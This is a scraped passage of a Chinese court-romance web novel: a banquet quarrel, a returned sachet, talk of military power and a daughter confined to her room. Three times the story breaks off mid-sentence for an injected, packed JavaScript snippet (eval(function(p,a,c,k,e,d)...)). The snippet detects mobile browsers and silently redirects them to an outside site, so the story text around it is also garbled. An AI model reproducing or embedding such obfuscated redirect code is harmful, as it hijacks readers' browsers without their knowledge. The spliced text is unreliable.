汀竹抬眸看着姜云，神色若然，声音平静无波：“容貌乃皮囊外物，与才情何干？况且容貌乃父母所赐，美丑皆是皮囊，臣女素来不在意这些。” “不在意？”姜云轻笑一声，步步紧逼，“姐姐自然可以是不在意，可太子殿下呢？殿下乃是储君，未来的天子，身边岂能少了一位倾城倾国的佳人相伴。姐姐这般模样，怕是会惹得外人议论，说太子殿下委屈了自己呢。” 这话一出，所有人目光都齐刷刷落在太子身上。就连齐太傅的脸色都微微沉了沉，却碍于姜尚书的情面，不好当众斥责。忽又捋着胡须，眼底闪过一丝看热闹的精光。 太子脸上的温和笑意僵了一瞬，他看着汀竹那层素白面纱，心底掠过一丝不易察觉的嫌弃。 若非这门婚事是父皇钦点，牵扯着宋将军手中的兵权，又岂会甘心娶一个容貌有损的女子。 但他面上却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905749|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝毫不显，反而缓步上前，抬手虚扶了汀竹一下，语气温润：“韫儿冰清玉洁，才情卓越，孤能得她为妻，乃是三生有幸。旁人的闲言碎语，孤何曾放在心上？” 这番话滴水不漏，既维护了汀竹，也保全了自己的颜面。 端王倚在亭柱上，手中把玩着酒杯，目光淡淡扫过汀竹。他瞧着这宋韫眉眼沉静，纵使被这般刁难也不见半分慌乱，一时之间像是看见了桃仙儿，心底竟生出几分怜悯之意，指尖微微一动，似有解围的念头。 可瞥见太傅那副乐见其成的模样，他又将话咽了回去，唇角勾起一抹疏离的弧度，终究是袖手旁观。 谢玦靠在廊下的朱红柱子上，手中轻摇折扇，将一幕尽收眼底。他看着太子口是心非的模样、姜云咄咄逼人的姿态、汀竹隐忍的模样，还有端王那点欲言又止的心思，低低嗤笑一声。 这场寿宴当真没白来。 姜云见太子这般维护，心里虽有些不甘，却也不敢当面顶撞，只悻悻地撇撇嘴，退到一旁，嘴里还小声嘀咕着：“不过是仗着宋罢了，真当自己有多好......” 这话声音不大，却刚好能让附近几人听见。 “姜小姐说得是，臣女能得太子青眼，确是仰仗宋家。但臣女以为，姻缘之事，贵在两心相契，而非皮相。太傅院中这满苑秋菊，各有风姿，并不只有牡丹才称得上国色。” 一番话说得不卑不亢，既没否认宋家的助力，又暗讽姜云眼界浅薄，只重皮相。 姜云气急，正欲再次开口，话音还没出。 一道沉厉的男声便自亭外传来：“放肆！” 众人循声望去，只见户部尚书姜大人铁青着脸快步走来，他身后跟着几位同僚，神色皆是凝重。 方才姜云的话，被婢女一字不落地传递给了他的耳中。 姜尚书三步并作两步冲进了亭中，抬手便对着姜云的脸颊狠狠甩了一巴掌。 “啪”的一声脆响，惊得满亭人皆是一怔。 姜云捂着脸，难以置信的看着自家父亲，眼眶瞬间红了，泪水在里面打转：“父亲......” “住口！”姜尚书厉声喝断她，随即转身对着太子深深一揖，背脊弯得极低，声音里满是惶恐，“殿下恕罪！小女被臣惯坏了性子，口无遮拦冲撞了宋小姐，臣教子无方，甘愿领罚！” 姜云又惊又怒，委屈得险些哭出声，刚要张口辩解，姜尚书便狠狠瞪了她一眼，沉声道：“还不快闭嘴！再多说一个字，今日便将你送家法堂！” 那眼神里的狠戾，让姜云浑身一颤，到了嘴边的话，硬生生咽了回去，只是捂着脸，肩膀微微发抖。 齐太傅见状，忙走上前打圆场。他捻着胡须，笑着对太子拱手道：“殿下息怒。今日乃是老臣的寿辰，本就是图个热闹，姜小姐年轻气盛，口无遮拦也是无心之失，还望殿下看在老臣的薄面上，饶过她这一回吧。” 太子脸上的温和早已敛去，眸光沉沉地扫过姜云，又落在姜尚书身上。他沉默片刻，方才缓缓开口，语气听不出喜怒：“太傅所言极是。今日乃太傅寿宴，不宜动气。” 他顿了顿，目光落在姜云身上，淡淡道：“姜小姐年纪尚轻，往后谨言慎行便是。此事，便作罢吧。” 姜尚书松了口气，连忙拉着姜云跪地谢恩：“谢殿下宽宏大量！” 姜云虽满心不甘，却也不敢违逆，只得跟着跪下，声音哽咽地说了句：“谢殿下……” 亭中气氛这才稍稍缓和，只是经此一事，众人脸上的笑意都淡了几分，唯有谢玦依旧倚着柱子，手中折扇轻摇，眼底的戏谑更浓了几分。 对着身侧的明霄，低笑道：“这场戏，倒是比前院的酒肉有趣多了。” 50. 婚事 散宴时，暮色渐沉，宾客们三三两两辞别。 汀竹随着宋府的人走到了垂花门处，忽觉得袖口被晚风掀起，带着几分凉意。双手便拂过腰身，才发觉腰环之处似少了什么。 心许是方才与姜云周旋时常常玩弄，不慎掉落在冬篱苑途径的某处。 她便驻足，对身侧的锁秋道：“锁秋，母亲给我绣的香囊掉了，我们回去找找。” “不就是一个香囊嘛，丢了就丢了。”身后传来宋婉娇蛮的声音，满脸不以为然瞧着汀竹。 汀竹懒得与她多费口舌，只是淡淡瞥了她一眼，那眼神清冷，竟让宋婉硬生生将后半句不瞒烟了回去，只气得跺了跺脚，撂下一句“你！”便转身离去。 汀竹毫不在意，带着锁秋转身，沿着抄手游廊往回走。她看左方，锁秋看右方。 廊下的灯火映着青石板落，光影交错间，汀竹忽见前方立着一道身影。那人倚着朱红廊住，一手拿着折扇在胸脯前轻摇，另一只手里捏着一只素色香囊，香囊上绣着翠竹，正是宋夫人亲手绣的那只。 是谢玦。 他似是特意在此等候，眉宇间带着几分玩世不恭的疏朗，与先前她在酒楼偶遇时那沉冷锐利的气质截然不同。可再细看，眉宇间的轮廓却又是一般模样，嘴角噙着一抹漫不经心的笑意。 汀竹脚步一顿，锁秋也跟着停了下来。她望着谢玦的脸，心中忽然一惊，只觉自己方才的举动怕是露了破绽，手指下意识抓着大腿两侧的衣料，指尖微微收紧。 她暗自思忖，此处是太傅府，院中虽只有些侍从，但前院的宾客尚未散尽，若是此时暴露身份，定然难以脱身。可转念一想，自己如今是宋家嫡女，未来的太子妃，身份堂堂正正，许是对方单纯捡到了她的香囊罢了。 思虑之间，目光便瞧见他身侧立着的明霄，分明就是那日在酒楼与她大打出手的侍卫，如此一来，此人应是谢世子谢玦无疑了。 汀竹这才放下心底那点疑虑，想着兵来将挡水来土掩，缓步走上前福了福身，声音清淡如茶：“谢世子，这香囊是臣女的，劳烦世子代为保管了。” 谢玦抬眸看她，目光落在她垂眸的眼睫，却并无半分异样的神色，反而扬了扬手里的香囊，笑道：“方才路过冬篱苑，见这玩意掉在了石桌下，瞧着绣工精致，想着定是哪位姑娘的心爱之物，便在此候了候。没想到竟是宋小姐的。” 他将香囊递过来，指尖不经意间擦过汀竹的手背，带着一丝微凉的触感，惊得汀竹指尖微颤，连忙将香囊拢在掌心。 她低头仔细摩挲着上面的竹绣，见并无破损，才轻声道：“多谢世子。这香囊是家母所绣，对臣女而言意义非凡。” “原来是令堂的手艺。”谢玦挑眉，想起白日里她在众人面前，面对姜云的刁难，依旧不卑不亢的模样，不由得笑道：“白日里见宋小姐应对姜家小姐的刁难，言辞有度，不卑不亢，倒是让本世子刮目相看。” “能将墨菊风骨看得通透，怼得姜小姐哑口无言，这可不是随口就能说出来的。” 他走近两步，目光落在她脸颊上的面纱。却并无半分探究与轻视，反而赞许：“旁人都道宋小姐因容自惭，今日一见，倒是让本世子见识了何为‘腹有诗书气自华’。比起那些空有皮囊的娇小姐，宋小姐这般风骨，才真真是难得。” 汀竹抬眸看他，这人眉宇间带着几分玩世不恭，可眼神却清朗坦荡，并无半分假意。却与先前眼中满是深沉的意味，属实两模两样，让她心中又起了一丝疑虑。但却怕身份败露，只淡淡道：“世子过誉了。容貌本就是外物，与其纠结，不如守着本心。不过是些口舌之争，犯不着失了分寸。” “好一个‘守着本心’，好一句‘不失分寸’。”谢玦低笑一声，目光里添了几分真切的兴味，“京中闺秀，大多娇软怯懦，像宋小姐倒是看得通透豁达的，倒是少见。旁人若是被那般奚落，怕是早该红了眼眶，或是恼羞成怒了。” 锁秋在一旁听着，忍不住插话，语气带着几分护住的骄傲：“我家小姐才不会和那些没见识的人一般见识。” 谢玦闻言，笑得更甚，看向汀竹的目光多了几分欣赏：“看来宋小姐身边的侍女，也是个伶俐的。对了，方才见你匆匆这回，便是为了这香囊？” “正是。”汀竹颔首，“若不是世子拾到，我怕是要寻上许久。” 谢玦望着她又垂眸的模样，晚风拂过，卷起她素青色罗裙的一角，与廊外墙角的墨菊相映，竟生出一种难言的清雅。他忽然想起白日里听闻的言语。 话锋一转，似笑非笑地瞥了眼明霄：“说起来，宋小姐与太子殿下的婚事将近，今日太子那般维护，倒是羡煞旁人。” 汀竹闻言，只是淡淡抬眸，眸光清浅如静水，不见半分波澜。她指尖轻轻抚过香囊上绣得细密的竹纹，声音平淡：“婚事是陛下钦点，父母之命，于我而言，不过是尽一份宋家女的本分罢了。” 似觉不妥，她顿了顿，又补充一句：“世子说笑了，这桩婚事里，本就没什么可羡的。” 这话里的疏离，到叫谢玦听了出来。他收了笑意，眸光沉了沉，忽然道：“这大好的婚事，可宋小姐眼底，分明没有半分欢喜。” 汀竹心里气笑了，沉默了片刻，这才轻笑吐出一句：“谢世子倒是眼尖。” 她没再否认，也没再多说，只是转身看向那珠墨菊，轻声道：“秋菊有傲骨，纵使风霜相逼，也能开得热热烈烈。人活一世，大抵也该如此。” 谢玦望着她的背影，他忽然觉得，今日这场寿宴，最有意思的，不是太傅的撮合，不是太子的虚伪，而是眼前这个看似安静，实则骨子里藏着锋芒的宋韫。 明霄站在一旁，瞧着谢玦盯着宋小姐的背影出神，忍不住悄悄扯了扯他的衣袖。谢玦回过神，唇角勾起一抹意味深长的笑，对着汀竹的背影扬声道：“宋小姐说得极是。他日若有机会，本世子倒想再与小姐品菊论道。” 汀竹脚步未停，只是微微侧头，声音随风传来，清清淡淡：“若有机缘，自当奉陪。” 说罢，她便带着锁秋，缓步消失在月洞门的那头，只余下一缕淡淡的菊香，萦绕在晚风里。 谢玦望着她离去的方向，手中折扇轻轻敲着掌心，眼底兴味渐浓。明霄凑上前，低声道：“世子，咱们也该回府了。” 谢玦收回目光，瞥了他一眼，似笑非笑：“回府？急什么。本世子忽然觉得，这往后京城的日子，倒是越来越有意思了。” 他转身迈步，晚风卷起他的衣摆，带着几分张扬的意气，与方才汀竹的清雅，形成了鲜明的对比。 明霄看着他的背影，无奈地摇了摇头，连忙快步跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912136|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 夜色渐浓，太傅府的灯火一盏盏亮起，将那青石板路，映得愈发悠长。 汀竹回府时，便被侍女通传，说是宋将军唤她去书房。 此时的宋将军正坐在书房的紫檀木椅上，手里捏着一本兵书，灯烛将他的影子拉得颀长，鬓角的几缕银丝在火光下格外分明。 听见侍女通报的声音，他抬眸望去，见汀竹一身素青罗裙缓步进来，神色依旧平静。 “回来了。”宋将军放下兵书，指了指对面的椅子，“坐。” 汀竹依言落座，侍女奉上一盏热茶，她捧在掌心，暖着微凉的指尖。 “今日之事，为父都听说了。”宋将军的声音沉厚，带着几分沙场磨砺出的粗粝，“姜云那丫头出言不逊，你没受委屈吧？” 汀竹轻轻摇头：“父亲放心，清禾无碍。口舌之争，逞的不过是一时意气，当不得真。” 宋将军看着她，眸中闪过一丝欣慰，又带着几分沉重：“你能这般通透，是好事。可身在这京城，有些意气，不是你想避就能避的。” 他顿了顿，又道：“方才在太傅府前院，为父并非不愿替你解围，实在是身不由己。太傅府里耳目众多，满朝文武的眼线都藏在暗处，我若贸然出面护着你，旁人定会说宋家恃宠而骄、仗着兵权横行霸道，反倒会落人口实，给陛下留下忌惮宋家的把柄。” 他起身走到窗边，望着窗外沉沉的夜色，声音压低了几分：“今日太傅寿宴，看似是一场贺寿的风雅宴，实则是各方势力的角力场。” 汀竹抬眸，眼中闪过一丝疑惑。 “太子与你的婚事，是陛下钦点的。”宋将军转过身，目光锐利如鹰，“陛下看重的，从来不是你的才情容貌，而是我宋家手中的兵权。” “清禾知道。姻缘之事，于清禾而言，不过是为宋家尽一份力。”汀竹缓缓道。 “你明白就好。”宋将军叹了口气，走到她面前，伸手拍了拍她的肩膀，“委屈你了。” 汀竹抬眸看向父亲，唇角勾起一抹浅淡的笑：“父亲说的哪里话。身为宋家女，本就该为家族分忧。况且，清禾并不觉得委屈。” “平日里为父军务繁忙，顾不上你母亲，你往日多去陪陪她。”宋将军叹了口气，语气里满是愧疚。 见宋将军此番这般神情，眼底满是诧异，只颔首应下：“好的，父亲。”话落，她忽然想起宋夫人房中的安神香，便试探性问道，“对了父亲，母亲屋中的安神香甚是好闻，听母亲说是父亲特意为她调配的，不知父亲这里还有多余的吗？可否赠予女儿一些？” 宋将军闻言，皱了皱眉，看向她的目光里带着几分关切：“你年纪轻轻，怎会夜里失眠，竟要用安神香？” 汀竹心头一跳。连忙垂眸道：“那......那清禾便不要了。” 谁知宋将军却转身走到书案前，从一个锦盒中取出一小碟递给她，“这是给你母亲调香剩下的最后一点，你先拿去用。等过几日，为父派人多制些送到你院中。” “女儿多谢父亲。”汀竹连忙接过，打开蝶盖细细闻了闻。 这香粉的气味，与宋夫人房中那安神香的香味分毫不差，唯独少了那丝若有若无的异味。 她心中霎时疑惑，却并未与宋将军面前表露半分，只捧着香粉，躬身告退离去。 51. 可惜 汀竹行在回暖居阁的路上，一路都在琢磨宋将军方才唤她去书房说的那番话。话里话外，无一不透着他对妻女的疼惜，活脱脱是个顶好的丈夫、顶好的父亲。 她指尖捏着那方盛着香粉的小碟，心念一转。这香粉是宋将军派人送来给宋夫人，而这送的途中经手了旁人。只要能逮住送香粉的人，便能顺藤摸瓜，揪出那暗中下毒的黑手。 汀竹刚踏入暖居阁的门槛，便扬声唤来锁秋，声音压得极低：“去，把将胡舟给我寻过来，就说我想找他办件事。” 锁秋应声，旋即便转身去寻了胡舟。 不过片刻，锁秋便领着胡舟进来。胡舟垂首拱了拱手：“小姐唤小的来，可是有什么要事吩咐？” 汀竹抬眸，目光沉了沉，将那小碟香粉递到他面前，给他看了一眼，便道：“这安神香父亲派人送给过母亲，我想让你帮我打探一下父亲是派谁送的，或是又经过了谁的手？” “记住，动静别太大，免得让人起疑。” 胡舟闻言，抱拳应下：“小的明白。” 次日，谢玦带着明霄一早就到宸王府。 谢玦刚踏过垂花门，便见箫凛立在庭院中的桂花树下，玄色锦袍上绣着暗金云纹，微风卷着细碎的花瓣落在他肩头，他却浑然不觉，手中把玩着折扇，眸光沉沉地望着天边的旭日。 明霄识趣地退到一旁，只留二人相对。 谢玦脸上依旧带着玩世不恭，缓步走上前，摇了摇折扇：“宸王殿下好兴致，竟一个人在此处赏初日。” 箫凛抬眸，目光落在他身上，声音冷冽如冰：“太傅府的戏，看得尽兴？” 谢玦低笑一声，走到他身侧，寻了个石凳坐下，随手替起茶壶为自己斟了一杯茶：“何止尽兴，简直是精彩纷呈。太子那副口是心非的模样，姜云的跳梁小丑行径，还有那位宋家那位与太子有婚约的嫡小姐——” 他顿了顿，眼底掠过一丝兴味，“倒是个妙人。” 箫凛手中的折扇微微一顿，垂眸看着地面上的斑驳树影，语气听不出喜怒：“哦？如何妙？” “姜云当众发难，句句戳她痛处，换做旁的闺阁女子，怕是早哭红了眼，或是恼羞成怒。”谢玦慢悠悠道，“可她倒好，不卑不亢，三言两语便将姜云堵得哑口无言，连带着太子的颜面都顾全了。” 他想起汀竹站在墨菊旁的模样，素青色的罗裙，沉静的眉眼，忽然笑了：“更有意思的是，她竟说容貌是皮囊外物，姻缘贵在两心相契。这话，倒不像是个被圣旨绑着的人能说出来的。” 箫凛沉默片刻，忽的抬眸看向他，目光锐利如锋：“你可知，宋将军手握三成兵权？” 谢玦拿着茶杯往嘴里喂茶水的手一顿，随即嗤笑：“你是怕太子娶了宋韫，便得了宋将军的助力？” 箫凛没应声，只是将手中折扇“唰”地展开，扇面上墨兰凛然，恰与他此刻冷沉的眉眼相映。望着那被微风吹落的残叶，半晌才道：“太子依仗丞相扶持，纵是得了兵权，也未必能握得住。” “那你忧心的，便是宋将军本人？”谢玦挑眉，喝了一口茶，又道，“宋老将军忠君一生，而宋家与太子的婚约，听闻还是丞相亲自向陛下讨来的。可太子瞧着，分明对这桩婚事不甚满意。” “你说，这丞相究竟是何用意？” “要么是想将宋家绑上太子的船，借兵权稳固太子的储君之位；要么便是料定了太子与宋家未必同心，故意留个破绽，好日后拿捏。”萧凛想起那日隐夜的那番话，眼底漫过一丝讥诮，缓步走到石桌旁，随即坐在了谢玦对面，端起一杯谢玦为其添的茶，一饮而尽，抬眸看了过去，放下茶杯字字带锋，“宋家嫡女既要入了太子府，便是钉在太子身边的一枚棋。可这枚棋，究竟是太子的刀，还是丞相的饵……” 他话音刚落忽然意识着什么，目光落在谢玦脸上，带着几分审视，又道：“你今日特意提起她，又想做什么？” 谢玦闻言，仰头大笑两声，将折扇在掌心敲得轻响：“多虑了多虑了。我就是瞧着那宋韫有趣，随口一提罢了。”他说着，忽然话锋一转，凑近箫凛，压低了声音，“不过那宋韫步步放低姿态，隐忍的模样倒与你一般相像。我到觉得她嫁与太子着实可惜，要不景珩你想个法子，将此女子勾过来？为咱们所用。” 箫凛听着他这番轻佻言语，眉峰骤然一蹙。 手中的折扇“啪”地合拢，骨扇重重敲击在石桌上，发出一声清脆的响。他抬眸时，眼底的那点漫不经心尽数褪去，只剩一片冷冽，直直盯着谢玦：“谢砚辞，说话当有分寸。” 声音不高，却带着不容置喙的威压。 谢玦被他这陡然沉下来的气势噎了一下，知道与这人说不起玩笑话，随即又低笑出声，摊了摊手，将折扇重新轻摇开，语气散漫依旧，却悄悄收回了方才的轻佻：“罢了罢了，玩笑话罢了。瞧你这副模样，倒像是我戳了你的痛处。” “她既与太子有婚约，便少去招惹。”箫凛放下茶盏，声音依旧如往常那般冷冽，“太傅府的事，不必再管。” 谢玦闻言，忍不住翻了个白眼：“你这是关心则乱？我不过是觉得她有趣，又没打算真做什么。” 他站起身，拍了拍衣摆上的尘土，笑道：“不过说真的，那宋小姐的风骨，倒是比京中那些娇生惯养的贵女强多了。太子娶了她，倒是捡了个宝，可惜——” 可惜太子根本不懂她的好。 这话谢玦没说出口，却见箫凛的眉头微微蹙起，眸光沉得似淬了墨，冷冷瞥了他一眼。 谢玦装作熟视无睹，从怀里掏出一碟书册递到了他面前：“这是昨日我暗中观察太傅与哪些大臣走得相近，列下的名单，你且看看。”话落，继而慢悠悠道，“说起来，我已经将你托我的事办好。你可别忘了，答应我向你姨父讨那坛醉仙酿的事。” 箫凛闻言，垂眸看了眼石桌下的乌木小箱，抬手便将箱子推了过去，声音依旧平淡无波：“诺，拿去吧。” 谢玦眼睛一亮，险些将手中的折扇甩出去，他忙不迭打开箱子，一股清冽醇厚的酒香扑面而来，正是醉仙酿独有的味道。 他惊喜地抬眸，不敢置信地看向箫凛：“你竟真的讨来了？我还以为要费些周折，你姨父那般宝贝这坛酒，平日里连碰都不让人碰，你是如何得手的？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915956|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>箫凛指尖轻叩石桌，眸光淡淡，似是在回忆昨日的情形。 昨日他去靖安侯府时，恰逢靖安侯在书房独坐，手边摆着一副未下完的棋局。他进门后，并未急着提酒，只是与靖安侯寒暄了几句家常，聊到京中近来的琐事，话锋慢慢转到了棋局上。 靖安侯素来爱棋，知道他对棋局了解颇深，顿时来了兴致，拉着他便要对弈。箫凛见状，顺势勾起唇角，淡声道：“姨父，今日对弈，不如我们加点彩头？” 靖安侯挑眉：“你想要什么？” “听闻姨父藏了一坛醉仙酿，是早年友人所赠，我斗胆，便以此为赌注。”箫凛语气平静，落子如飞，“若是我输了，便将皇祖母赏赐我的那副疆域进贡的白玉棋子赠予姨父。” 靖安侯一听，顿时心动。那副白玉棋子他觊觎已久，当即拍板应下。 两人在棋盘上厮杀起来，靖安侯棋风凌厉，步步紧逼，箫凛却稳如大山，落子从容不迫，看似漫不经心，却处处暗藏玄机。一局棋下了近两个时辰，日头渐渐西斜，靖安侯看着棋盘上被围得水泄不通的将，长叹一声，无奈地投子认负。 他虽心疼那坛醉仙酿，却也愿赌服输，当下便让下人取了酒来，交到箫凛手中，还不忘叮嘱：“这酒醇厚，切莫贪杯。” 箫凛收回思绪，抬眸看向谢玦，淡淡道：“不过是与他对弈一局，赢了罢了。” 谢玦听得啧啧称奇，捧着酒坛哈哈大笑：“妙哉！还是你有法子，竟能让家父心甘情愿拿出这坛酒。这下，我可有口福了！” 谢玦抱着酒坛爱不释手，鼻尖几乎要贴到坛口，深吸一口酒香，眉眼都染上了笑意：“这醉仙酿果然名不虚传，光是闻着，便觉通体舒畅。” 他抬眸看向箫凛，笑得狡黠：“还是景珩你厉害，家父那老狐狸，平日里旁人便是磨破嘴皮，他也不肯拿出这酒来，你竟能凭一局棋便赢了来。” 箫凛淡淡瞥他一眼，指尖重新拾起折扇，缓缓展开，墨兰在扇面上舒展，添了几分雅韵：“不过是投其所好罢了。” “投其所好？”谢玦挑眉，将酒坛小心翼翼地抱在怀里，“家父的棋艺在京中也是数一数二的，寻常人哪里是他的对手。你定然是故意让了他半局，引他入局，才这般轻松取胜。” 箫凛不置可否，只是垂眸看向庭院中飘落的桂花，声音清冽：“酒你已拿到，我交代你的事也办妥了，太傅府的浑水，莫要再蹚。” 谢玦脸上的笑意淡了几分，他掂了掂怀中的酒坛，轻哼一声：“知道了，不过是瞧着那宋小姐有趣，多嘴两句罢了。” 他顿了顿，忽然凑近箫凛，压低声音道：“说真的，你方才那般紧张，莫不是对那宋小姐——” 话未说完，便被箫凛冷冷的目光截住。 谢玦识趣地闭了嘴，嘿嘿一笑，抱着酒坛转身便走：“罢了罢了，我不问便是。这酒我先带回府中藏好，改日寻个机会，咱们二人对酌一番。” 说罢，他脚步轻快地踏出了垂花门，只留下箫凛一人独坐在圆石桌上。 想起方才谢玦的那番轻佻之言，脑海中竟想起了那橘衣女子的身影。 …… 52. 祸害 “小姐，你这是要去哪儿？”小侍女慌慌张张地拦住了正抬脚跨出房门的姜云。 姜云秀眉一拧，满脸不敢置信地看向拦路的侍女：“再耽搁下去，去崇文轩便要迟了！” 侍女连忙将昨夜的叮嘱又复述一遍：“小姐，老爷特意吩咐了，让你在房里好生思过，哪儿都不许去。老爷还说，今日会禀明圣上，怕你小姐在崇文轩失了分寸，惹得旁人不悦，便替你辞了在宫中习修的机会，改在家中闭门习修。” “什么？！”姜云惊得后退半步，眉头拧成疙瘩，平日里对她百般宠溺的父亲，竟会为了个外人这般对自己，“我要见父亲！” 侍女面露难色，嗫嚅道：“小姐，老爷一早就去上朝了，还未回府呢。” “那等父亲回来，我定要见他！”姜云剁了剁脚，眼底满是愠怒。 都怪这个宋韫！若不是她，自己怎会落到这般境地！ 恰在此时，廊下传来一声轻佻的嗤笑。 姜云循声望去，只见她那素来游手好闲的兄长姜天，正斜倚着廊柱，手里拿着一条精致的马鞭，眉眼间尽是戏谑。他今日穿了件灰白锦袍，领口松垮地敞着，发带歪歪斜斜系在脑后，一副没个正形的纨绔模样。 “哟，这不是我们金尊玉贵的姜大小姐吗？怎么，被父亲禁足了？”姜天慢悠悠踱过来，目光在她气红的脸上转了一圈，啧啧两声，“往日在家里耀武扬威，把你亲哥我都不放在眼里的劲头呢？怎么今儿个，倒像只被拔了爪子的猫儿？” 姜云本就一肚子火气，被他这一激，更是怒上心头：“姜天！我的事轮得到你管？” “我可不敢管。”姜天摊摊手，笑得越发欠揍，“不过是瞧着妹妹你栽了跟头，忍不住想劝一句——往日里仗着爹爹宠爱，就横行霸道，真以为这京城的圈子，是你想横着走就能横着走的？那太子身边的人，岂是你能随便招惹的？如今落得个闭门思过的下场，也是活该。” 他说着，故意晃了晃手里的马鞭：“倒是我，今日约了城西的狐朋狗友去赛马，可惜啊，妹妹你是没福分去看热闹了。” 话音未落，他便大摇大摆地绕过姜云，哼着小曲儿朝外走去，只留下姜云在原地气得浑身发抖，攥紧的拳头指节都泛了白。 姜云气得胸口剧烈起伏，抓起桌上的青瓷茶盏就朝姜天的背影砸去。 茶盏擦着他的衣摆摔在地上，溅起一地碎瓷。姜天脚步都没顿一下，反而回头冲她做了个鬼脸，语气更显轻佻：“妹妹这脾气，还是改改吧，不然啊，往后吃的亏，怕是比这禁足要狠得多。” 说罢，他甩着袖子，大摇大摆地出了院门，院外很快传来他与仆从的说笑声，那声音渐行渐远，却像针一样扎在姜云心上。 侍女吓得脸色发白，连忙上前劝道：“小姐息怒，仔细气坏了身子。大少爷他……他就是这副纨绔性子，你可别和他置气啊。” 姜云狠狠喘了几口粗气，胸口的憋闷却丝毫未减。她猛地转身，将桌上的笔墨纸砚尽数扫落在地，宣纸散落一地，狼毫笔滚得到处都是。 “宋韫！姜天！”她咬着牙，一字一顿地低吼，眸子里淬了冰似的，“你们给我等着，今日之辱，我必定百倍奉还！” 她死死盯着窗外，往日里温婉的眉眼此刻覆满寒霜。禁足又如何？父亲偏袒又如何？她姜云，绝不会就这么屈屈。 辰时末，晨光渐出，姜尚书终是回府了。 姜云不顾侍女的百般阻拦，气冲冲地直奔书房而去。 纵有满心火气，她也没忘了礼数，进门后规规矩矩地福身行礼：“父亲。” 姜尚书方将摘下头上的幞头，搁在书案一角。随手拿起一册书册，抬眼便瞧见了气鼓鼓的女儿。他知女儿所来为何，也知她心中有怨气，却故作不知，淡声问道：“来了？” 姜云提着裙摆，几步便走到了书案前方，腮帮子鼓的圆圆的，带着几分娇嗔与几分委屈，扯着他的衣袖抱怨：“父亲，昨日你为何偏要护着那个宋韫？还不惜对女儿下那般重的手，你那一巴掌，打得女儿疼了整整一夜！” “现在都还疼着呢。”说罢，她便将昨日挨打的那半张脸颊凑了过去，非要让他瞧个清楚。 姜尚书拿着书卷，虚着眸子端详片刻，见那颊边果然还泛着淡淡的红痕，便抬了另一只手手轻轻吹了吹，语气听不出喜怒：“疼啊？” “可疼了！”姜云撅着嘴，眼眶都红了几分。 谁知话音刚落，姜尚书手中的书册便“啪”地一声，轻轻落在了那泛红的脸颊上，语气陡然沉了下来：“疼就对了。” “得罪太子，要不是为父这一巴掌，你此刻早就是阶下囚了！” “父亲！”姜云疼得一缩脖子，捂着脸颊，又惊又气地看向姜尚书。 “你还知道喊我一声父亲？”姜尚书冷哼一声，眼里满是恨铁不成钢，撇了她一眼道，“那宋韫岂是你能随意招惹的？” 姜云被他看得一窒，捂着脸颊的手微微发颤，却还是梗着脖子犟道：“我不过是说了句实话，她本就相貌丑陋不堪，怎配为未来太子妃？” “住口！”姜尚书厉声呵斥打断她的话，手中的书册重重拍在案几上，震得砚台都晃了晃，“她配与不配，陛下的圣旨岂容你置喙？昨日你敢当众顶撞太子，明日就敢在金銮殿上大放厥词！为父这顶乌纱帽，迟早要被你折腾掉！” “父亲！”姜云被他厉声一喝，身子猛地一颤，眼眶里的泪珠子却倔强地打着转不肯落下来，她攥紧了衣袖，指尖掐得掌心生疼，“女儿说错了吗？那宋韫不过仗着宋家嫡女的身份，貌不惊人，且都不如其庶妹，连给太子做侍妾的资格都不配！” “放肆！”姜尚书气得额角青筋暴起，扬手就要再打下去，却被姜云梗着脖子迎上来的模样逼得顿住了手。她那双往日里含着娇嗔的杏眼，此刻满是不甘与执拗，倒叫他心头莫名一堵。 “貌不惊人如何？陛下亲赐的名份，便是天定的福泽！”姜尚书放下手，重重喘了口气，语气里带着几分疲惫，“你当为父愿意打你、禁足你？昨日在太傅府冬篱苑里，你当着朝中众大臣的面，故意刁难挖苦宋韫，太子的脸色都沉成什么样了？若不是为父在前头替你求情，今日姜家满门，都要为你的任性买单！” 姜云愣住了，嘴唇动了几下，却还是不肯服气：“那......那父亲也不该替我辞了宫中习修的机会！那是多少名门贵女求都求不来的机缘！” “机缘？”姜尚书冷笑一声，拿起书册又狠狠拍在案上，“就你这般性子，再入宫中，怕是连怎么死的都不知道！留在府中闭门思过，是为父能给你最轻的惩罚。” 他闭了闭眼，声音沉得似寒冰：“从今日起，抄《女戒》百遍，每日卯时起，跟着府里的嬷嬷学规矩。什么时候学乖了，什么时候再踏出这院门半步！” 说罢，他不再看姜云惨白的脸，挥了挥手：“滚回你的院中去！别再这里惹为父生气！” 